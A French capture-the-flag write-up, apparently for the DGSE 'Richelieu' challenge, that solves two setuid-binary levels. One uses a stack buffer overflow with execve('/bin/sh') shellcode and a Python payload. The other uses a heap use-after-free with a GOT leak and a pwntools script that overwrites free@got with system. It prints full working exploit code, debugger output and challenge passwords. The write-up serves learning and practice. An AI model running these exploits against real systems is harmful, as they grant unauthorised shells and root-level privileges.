La récupération de notre entrée login
se fait avec la fonction fgets()
. Cette fonction prend trois arguments. Le second argument int size
est stocké dans le registre RSI
. L'instruction mov esi, 0x3e8
nous indique que le nombre maximal d'octets à lire pour l'entrée (argument 1 dans le registre RDI
) est de 0x3e8
. La fonction fgets()
est l'équivalent sécurisé de la fonction gets()
et permet de vérifier la taille du buffer. Ce nombre maximal d'octets à lire est également inférieur à la taille du buffer alloué pour le login dans le main.
Etant donné que le buffer login
est de 1024 octets et que 1024 est supérieur à 1000 (0x3e8), il n'y a donc pas de buffer overflow sur cette entrée.
Pass : scanf()
La récupération de notre entrée pass
se fait avec la fonction scanf()
. Cette fois-ci, pas de vérification de la taille du buffer. Un buffer overflow est possible.
D'après les instructions précédant le scanf()
, la taille de la fenêtre prévue pour l'entrée pass
est de 0x30
. Notre objectif est de remplir le buffer et d'écrire sur la sauvegarde de RIP
, le pointeur d'instructions. Cette sauvegarde contient l'adresse de l'instruction suivant l'appel à fonction afin de poursuivre l'exécution du programme à l'issue de la fonction en cours.
D'après ce très bon article sur le fonctionnement de la pile, on sait aussi qu'entre notre fenêtre de 0x30
octets et notre sauvegarde de RIP, on a une sauvegarde de RBP. Cette sauvegarde contient l'adresse du début de fenêtre de pile avant l'appel à fonction. Cela permet d'accéder aux variables et paramètres de fonctions avec un décalage constant par rapport à RBP.
En résumé, ces deux sauvegardes permettent de reprendre le fil d'exécution du programme.
Afin de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution, nous allons donc devoir remplir l'espace mémoire prévue pour pass
ainsi que la sauvegarde de RBP. L'architecture 64 bits de notre programme indique que les registres ont une taille de 8 octets. On va donc devoir écrire 56 octets (0x30
= 48 en décimal) suivi de l'adresse vers laquelle on souhaite rediriger l'exécution.
Gadgets
ROPgadget
L'outil ROPgadget
nous permet de lister les gadgets présents dans le binaire. Les gadgets sont des bouts de code permettant, mis bout à bout, de mener des actions non-prévues initialement (exemple : générer un shellcode à la volée).
$ ROPgadget --binary prog.bin
[...]
0x00000000004009fa : call qword ptr [rsp + rbx*8]
0x0000000000400538 : call rax
0x0000000000400869 : cmp byte ptr [rbx + 0x5d], bl ; ret
0x0000000000400831 : dec dword ptr [rbx + 0x458be855] ; in al, 1 ; ret 0x458b
[...]
On remarque l'instruction call rax
.
Contexte
La fin de la fonction sub.login_40086d
fait appel à une fonction sub.strcasestr_4006a6
. Si le résultat est false
, l'adresse du login entré est stocké dans le registre RAX et retourné par la fonction sub.login_40086d
.
Plan d'attaque
Théorie
Le buffer overflow lors de l'entrée pass
va nous permettre de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution vers le gadget call rax
.
Nous allons alors faire en sorte de passer un shellcode dans l'entrée login
, de respecter les conditions permettant à l'adresse de l'entrée d'être passée dans RAX, et ainsi d'exécuter notre shellcode.
Obstacle
Dans le cas où la longueur du login
entré est supérieure à 10 caractères, le 11ème caractère de la chaîne est mis à \x00
.
On va devoir prévoir un padding dans le shellcode pour contourner cet obstacle.
Payload
Nous allons utiliser le shellcode suivant.
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Pour contourner l'écriture de \x00
au 11ème caractère du login, on va écrire des instructions NOP précédées d'une instructions JMP pour passer les 11 premiers caractères.
Ces NOP seront suivi du shellcode, puis d'un \n
pour passer de l'entrée login
à l'entrée pass
.
Pour l'entrée pass
, nous allons devoir respecter les conditions données par le programme.
[-] le mot de passe est compris dans le login (ou l inverse)
[-] mot de passe trop petit (moins de 8 caractères)
[-] il n y a pas de nombre
[-] il n y a pas de majuscule
[-] il n y a pas de caractère spécial
Si ces conditions ne sont pas respectées, le registre RAX ne contiendra pas l'adresse de l'entrée login
mais NULL
.
On peut alors obtenir le script Python suivant.
# LOGIN
# JMP $+15 : https://defuse.ca/online-x86-assembler.htm
payload = "\xEB\x0D"
# NOPsled
payload += "\x90" * 20
# shellcode execve("/bin/sh") : http://shell-storm.org/shellcode/files/shellcode-806.php
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# login --> pass
payload += "\n"
# PASS
# Password conditions
payload += "b$0"
# Buffer Overflow
payload += "A" * 53
# Address of gadget 'call rax'
payload += "\x38\x05\x40"
print(payload)
Exécution
Sur la machine cible, un premier test est non-concluant.
$ python solve.py | ./prog.bin
[Rien]
On ne récupère pas de shell en tant que defi2-drapeau
.
$ python solve.py | strace -f ./prog.bin
[...]
execve("/bin/sh", ["/bin/sh"], NULL) = 0
[...]
read(0, "", 8192) = 0
exit_group(0) = ?
+++ exited with 0 +++
On a bien l'exécution du shell en tant que defi2-drapeau
, mais ne recevant rien par la suite, il est fermé. Nous devons donc maintenir le descripteur de fichier entrant (stdin) ouvert.
$ (python solve.py; cat -) | ./prog.bin
[...]
$ id
uid=1000(defi2) gid=1000(defi2) euid=1001(defi2-drapeau) egid=1001(defi2-drapeau) groups=1001(defi2-drapeau)
$ cat drapeau.txt
Suite du challenge Richelieu :
ssh defi3.challengecybersec.fr -l defi3 -p 2222
mot de passe : DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR}
Le mot de passe pour la suite est DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR}
Privesc pwn : Use After Free (defi3)
En se connectant en ssh
, on arrive sur le répertoire home
de l'utilisateur defi3
.
$ id
uid=1000(defi3) gid=1000(defi3) groups=1000(defi3)
$ pwd
/home/defi3
$ ls -alh
total 44K
drwxr-xr-x 1 defi3 defi3 4.0K May 10 11:09 .
drwxr-xr-x 1 root root 4.0K May 10 11:09 ..
-rw-r--r-- 1 defi3 defi3 220 May 15 2017 .bash_logout
-rw-r--r-- 1 defi3 defi3 3.5K May 15 2017 .bashrc
-rw-r--r-- 1 defi3 defi3 32 May 10 11:09 .gdbinit
-rw-r--r-- 1 defi3 defi3 675 May 15 2017 .profile
-rw-r--r-- 1 defi3 defi3 7 May 10 11:09 .vimrc
-r-------- 1 defi3-drapeau defi3-drapeau 564 Apr 29 15:43 drapeau.txt
-r-sr-sr-x 1 defi3-drapeau defi3-drapeau 11K May 10 11:09 prog.bin
Rebelote, prog.bin
est SETUID.
Utilisation normale
Le programme permet de gérer des éléments par des opérations classiques de création, édition, affichage et suppression.
$ ./prog.bin
***************************************************
*** Bienvenue dans la gestion d éléments ***
*** ***
*** NB : Taille de l ID : 50 octets ***
*** Vous pouvez mettre la taille ***
*** en paramètre pour la changer ***
***************************************************
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
Exploitation
État de l'art
Le fonctionnement du programme semble indique l'utilisation du tas (heap) par des opérations de malloc()
, calloc()
, free()
etc.
Le programme est compilé pour une architecture 64 bits et l'ASLR est activée sur le système.
Il y a également la protection NX (no-execute) d'activée indiquant qu'aucun segment de mémoire n'a à la fois des droits d'écriture et d'exécution.
$ ssh defi3.challengecybersec.fr -l defi3 -p 2222
[...]
$ file prog.bin
prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d1735723c3f394529a3679c7cb2e651800a3b8b9, stripped
$ checksec prog.bin
[*] '/home/defi3/prog.bin'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ cat /proc/sys/kernel/randomize_va_space
2
Dans ce genre de situations (manipulation du tas), un des éléments à regarder en priorité est la façon dont les données sont supprimées. Il se peut que le programme soit vulnérable à un "Use After Free".
Stack-based Buffer Overflow
Pour defi2
il s'agissait d'exploiter un buffer overflow pour manipuler la pile (stack). Ici, d'après des tests d'utilisations, le programme ne semble pas vulnérable à du stack-based buffer overflow dans les entrées utilisateur.
Heap-based Buffer Overflow
Comme l'explique si bien Pixis, le tas est une zone mémoire utilisée de façon dynamique. La pile fonctionne par empilement et dépilement et le tas fonctionne avec des pointeurs, des adresses et des espaces mémoires accessibles tout le temps.
La heap apporte de la flexibilité mais est plus coûteuse en temps et en ressources. Il faut manipuler cette zone avec précaution.
Fonction malloc()
Cette fonction permet d'allouer un bloc mémoire. La fonction prend en argument la taille du bloc souhaité et renvoie l'adresse du bloc (pointeur vers le début du bloc).
Fonction free()
Cette fonction permet de libérer un espace mémoire. La fonction prend en argument le pointeur qui contient l'adresse du bloc.
Cette fonction ne permet par contre pas de réinitialiser le pointeur en lui-même. Sans une opération
pointeur = NULL;
, le pointeur contiendra toujours la même adresse d'un bloc de mémoire alors libéré.
Use After Free
Si une nouvelle allocation de mémoire est demandée et que le nouveau bloc libre convient (taille demandée/taille du bloc), le pointeur pointera toujours vers ce bloc mais les données n'auront peut-être rien à voir.
La technique Use after free
revient à exploiter cette mauvaise pratique de ne pas réinitialiser un pointeur après la libération de l'espace mémoire qu'il pointe par free()
.
Lors de l'utilisation du programme, on peut identifier le bug.
$ ./prog.bin
***************************************************
*** Bienvenue dans la gestion d éléments ***
*** ***
*** NB : Taille de l ID : 50 octets ***
*** Vous pouvez mettre la taille ***
*** en paramètre pour la changer ***
***************************************************
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 0 entrez nom $ shutdown
élément 0 (50 octets max) entrez id $ shutdown
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 2
~~~~~~~~~~~~~
~~ élément ~~
~~~~~~~~~~~~~
élément[0] -> nom : shutdown
élément[0] -> id : shutdown
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1 nom : 2) $ 1
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 1 entrez nom $ Oik=
élément 1 (50 octets max) entrez id $ Oik=
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 2
~~~~~~~~~~~~~
~~ élément ~~
~~~~~~~~~~~~~
élément[0] -> nom : shutdown
élément[0] -> id : Oik=
élément[1] -> nom : Oik=
élément[1] -> id : Oik=
Nous pouvons noter que élément[0] -> id
passe de shutdown
à Oik=
, ce qui nous conforte dans l'idée d'un UAF (Use After Free) et nous permet de supposer que nous sommes capables de modifier des pointeurs dans le tas.
Plan d'attaque
Étant donnée la présence de l'ASLR sur le système ciblé, les adresses des bibliothèques/fonctions sont aléatoires.
En réalité, le programme charge les bibliothèques requises à une certaine adresse + un décalage aléatoire.
L'objectif est de trouver ce décalage pour calculer ensuite l'adresse, à l'exécution, de la fonction qui nous intéresse, à savoir system
.
PLT & GOT
Lors de l'exécution du programme, à chaque passage du pointeur d'instruction RIP sur un call à une fonction référencée dans la PLT (Procedure Linkage Table), si la fonction en question n'est pas référencée dans la GOT (Global Offsets Table), un mécanisme interne à la PLT permet d'insérer la référence de la fonction dans la GOT.
La GOT contient alors la vraie adresse de la fonction.
Pour une bibliothèque donnée, si nous connaissons l'adresse d'une fonction dans cette bibliothèque ainsi que l'adresse réelle de la fonction dans la GOT, nous pouvons connaître le décalage aléatoire créé avec l'ASLR.
Si nous connaissons le décalage, nous pouvons alors calculer la réelle adresse de la fonction de notre choix.
Théorie
- Faire fuiter l'adresse réelle d'une fonction
- Trouver l'adresse de base de la bibliothèque
libc
- Calculer l'adresse de
system
- Exécuter
system
avec l'argument/bin/sh
- Récupérer le flag
Dans notre cas, les fonctions contenues dans la PLT sont free
, strcpy
, puts
, strlen
, printf
, fgets
, atoll
, malloc
et atoi
.
On a les adresses suivantes pour free@got
et puts@got
.
$ objdump -R prog.bin
[...]
0000000000602018 R_X86_64_JUMP_SLOT free@GLIBC_2.2.5
0000000000602028 R_X86_64_JUMP_SLOT puts@GLIBC_2.2.5
[...]
Nous allons utiliser la fonction puts
, fonction d'affichage, pour lui faire afficher sa propre adresse réelle. Pour faire cela, nous passerons l'adresse de puts@got
(référence de puts
dans le segment .got.plt
) en argument de puts@plt
pour récupérer l'adresse réelle de la fonction et donc le décalage créé par l'ASLR.
Soit a
l'offset de puts
dans la libc
.
Soit b
l'adresse réelle de puts
à l'exécution.
L'adresse à laquelle la bibliothèque est chargé à l'exécution est b-a
.
Soit c
l'offset de system
dans la libc
.
L'adresse réelle de system
à l'exécution sera b-a+c
.
Une fois l'adresse de system
connue, nous devrions être en mesure d'exécuter du code.
Pratique
Dans une premier temps, nous allons créer un élément et analyser la structure du tas.
$ gdb prog.bin
pwndbg> info file
//On cherche le point d entrée du programme
[...]
Entry point: 0x400680
[...]
pwndbg> x/20i 0x400680
//On cherche ensuite l appel à main
[...]
0x40069d: mov rdi,0x400ae8
0x4006a4: call QWORD PTR [rip+0x201946]
[...]
pwndbg> b * 0x00400e47
//On place un point d arrêt avant l appel à la fonction demandant le choix de l option
pwndbg> run
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 0 entrez nom $ AAA
élément 0 (50 octets max) entrez id $ BBB
Breakpoint 1, 0x0000000000400e47 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7e81490 (__strcpy_sse2_unaligned+912) ◂— mov edx, dword ptr [rsi]
RDX 0x1
RDI 0x603bc0 ◂— 0x424242 /* 'BBB' */
RSI 0x7fffffffd390 ◂— 0x424242 /* 'BBB' */
R8 0x3
R9 0x7ffff7fa6500 ◂— 0x7ffff7fa6500
[...]
Le registre RDI semble contenir l'adresse à laquelle la chaîne "BBB" a été écrite. Nous pouvons utiliser cette adresse pour voir le contenu du tas.
pwndbg> x/16gx 0x603bc0-80
0x603b70: 0x0000000000000000 0x0000000000000021
0x603b80: 0x0000000000603ba0 0x0000000000603bc0
0x603b90: 0x0000000000000000 0x0000000000000021
0x603ba0: 0x0000000000414141 0x0000000000000000
0x603bb0: 0x0000000000000000 0x0000000000000041
0x603bc0: 0x0000000000424242 0x0000000000000000
0x603bd0: 0x0000000000000000 0x0000000000000000
0x603be0: 0x0000000000000000 0x0000000000000000
On a la structure suivante.
Procédons aux opérations suivantes :
- suppression de l'id de l'élément 0 ;
- création d'un élément 1 ;
- analyse du tas.
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1 nom : 2) $ 1
Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 1 entrez nom $ CCC
élément 1 (50 octets max) entrez id $ DDD
Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]
pwndbg> x/24gx 0x603bc0-80
0x603b70: 0x0000000000000000 0x0000000000000021
0x603b80: 0x0000000000603ba0 0x0000000000603bc0
0x603b90: 0x0000000000000000 0x0000000000000021
0x603ba0: 0x0000000000414141 0x0000000000000000
0x603bb0: 0x0000000000000000 0x0000000000000041
0x603bc0: 0x0000000000444444 0x0000000000000000
0x603bd0: 0x0000000000000000 0x0000000000000000
0x603be0: 0x0000000000000000 0x0000000000000000
0x603bf0: 0x0000000000000000 0x0000000000000021
0x603c00: 0x0000000000603c20 0x0000000000603bc0
0x603c10: 0x0000000000000000 0x0000000000000021
0x603c20: 0x0000000000434343 0x0000000000000000
On a alors la structure suivante :
Le deuxième champ de l'élément 0 occupe une taille de 64 octets (entête taille chunk) et la structure contenant les pointeurs vers les champs de l'élément 0 fait 32 octets. Lors de l'allocation en mémoire de cette structure, le chunk de 64 octets est trop grand, c'est donc le chunk suivant qui est alloué.
Pour exploiter le Use After Free, nous allons faire en sorte de définir une taille d'id < 32 octets.
Le programme prend en argument cette taille. Réitérons les opérations avec une taille d'id de 3 (minimum possible). Pour des raisons d'alignement mémoire, un malloc alloue au minimum 16 octets de données.
pwndbg> run 3
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 0 entrez nom $ AAA
élément 0 ( 3 octets max) entrez id $ BBB
Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1 nom : 2) $ 1
Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]
pwndbg> continue
Continuing.
Que voulez-vous faire ?
-> 1) nouvel élément
-> 2) affichage
-> 3) détruire un élément
-> 4) changer de nom
-> 5) changer d id
-> 6) sortie
choix $ 1
élément 1 entrez nom $ CCC
élément 1 ( 3 octets max) entrez id $ DDD
Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]
pwndbg> x/20gx 0x603b70
0x603b70: 0x0000000000000000 0x0000000000000021
0x603b80: 0x0000000000603ba0 0x0000000000603bc0
0x603b90: 0x0000000000000000 0x0000000000000021
0x603ba0: 0x0000000000414141 0x0000000000000000
0x603bb0: 0x0000000000000000 0x0000000000000021
0x603bc0: 0x0000000000603be0 0x0000000000603c00
0x603bd0: 0x0000000000000000 0x0000000000000021
0x603be0: 0x0000000000434343 0x0000000000000000
0x603bf0: 0x0000000000000000 0x0000000000000021
0x603c00: 0x0000000000444444 0x0000000000000000
La structure est la suivante :
On peut donc maintenant réitérer l'opération plusieurs fois, écrire l'adresse de puts@got
en modifiant un des pointeurs et l'adresse de free@got
de la même façon. On pourra ainsi remplacer free@got
par puts@plt
avec l'option de changement de nom/id.
On pourra alors afficher l'adresse réelle de puts, calculer l'adresse de system, remplacer free@got
par system@libc
et exécuter du code.
On va profiter du fait que l'on puisse entrer des chaînes de caractères dans le programme (stockées dans le tas) pour passer l'argument "/bin/sh" à la fonction system
.
Payload
Pour exploiter ce programme, nous allons utiliser la bibliothèque pwntools
en Python.
Nous allons créer une fonction pour chaque option du programme.
Note : lors de nos tests, nous nous sommes rendus compte que la réécriture de free@got
avec puts@plt
laissait des résidus de l'adresse de free@got
. Nous avons donc du prévoir l'écriture de null-bytes à l'adresse de (free@got + offset)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
def nouvel_element(nom, id):
p.sendline('1')
p.sendline(nom)
p.sendline(id)
def affichage():
p.sendline('2')
return p.recv(8192)
def detruire_element(index, type):
p.sendline('3')
p.sendline(index)
p.sendline(type)
def changer_nom(index, nom):
p.sendline('4')
p.sendline(index)
p.sendline(nom)
def changer_id(index, id):
p.sendline('5')
p.sendline(index)
p.sendline(id)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(['./prog.bin', '3'])
nouvel_element('AAA', 'BBB')
detruire_element('0', '1')
nouvel_element('CCC', 'DDD')
# Réécrire (pointeur element[0] -> name) avec adresse de puts@got
changer_id('0', "\x28\x20\x60")
nouvel_element('EEE', 'FFF')
detruire_element('2', '1')
nouvel_element('GGG', 'HHH')
# Réécrire (pointeur element[2] -> name) avec adresse de free@got
changer_id('2', "\x18\x20\x60")
nouvel_element('III', 'JJJ')
detruire_element('4', '1')
nouvel_element('KKK', 'LLL')
# Réécrire (pointeur element[4] -> name) avec adresse de (free@got + offset)
changer_id('4', "\x1c\x20\x60")
nouvel_element('MMM', 'NNN')
detruire_element('6', '1')
nouvel_element('OOO', 'PPP')
# Réécrire (pointeur element[6] -> name) avec adresse de (free@got + offset)
changer_id('6', "\x1d\x20\x60")
# Préparer l'argument de 'system()'
nouvel_element('/bin/sh', 'QQQ')
# Réécrire valeur free@got par puts@plt
changer_nom('3', "\x10\x06\x40")
# Réécrire (free@got + offset) par null byte
changer_nom('5', "\x00")
# Réécrire (free@got + offset) par null byte
changer_nom('7', "\x00")
# Dérouler le buffer
p.recv(timeout=10)
# Récupération de l'adresse réelle de puts
detruire_element('1', '2')
puts_leaked = p.recv(8192).split("quoi (id : 1 nom : 2) $ ")[1].split("\n")[0]
puts_leaked += "\x00" * (8 - len(puts_leaked))
log.info("Leak of puts : " + hex(u64(puts_leaked)))
# Calcul de l'adresse réelle de la libc
libc = u64(puts_leaked) - l.symbols['puts']
log.info("Address of libc : " + hex(libc))
# Calcul de l'adresse de system dans la libc soumise à l'ASLR de notre processus
sys_addr = libc + l.symbols['system']
log.info("Address of sys : " + hex(sys_addr))
sys = p64(sys_addr).strip("\x00")
# Réécrire valeur free@got par system
changer_nom('3', sys)
detruire_element('8', '2')
p.recv(8192)
p.interactive()
p.close()
On peut finalement récupérer le drapeau.txt
!
defi3@AttrapeLeDrapeau:~$ ./exploit.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './prog.bin': pid 38
[*] Leak of puts : 0x7f77c8be8f90
[*] Address of libc : 0x7f77c8b80000
[*] Address of sys : 0x7f77c8bbf480
[*] Switching to interactive mode
$ cat drapeau.txt
Félicitations à vous, vous avez réussi l intégralité du challenge Richelieu organisé par la DGSE !
Vous avez la perspicacité et le profil pour relever les défis technologiques au sein de nos équipes.
Dès maintenant, vous pouvez envoyer le tag ****************** accompagné, si vous le souhaitez, d un CV et d une lettre de motivation à l adresse suivante : ********************.
Pour vous renseigner sur les métiers que nous recherchons : https://www.defense.gouv.fr/dgse/tout-le-site/nos-besoins-en-recrutement.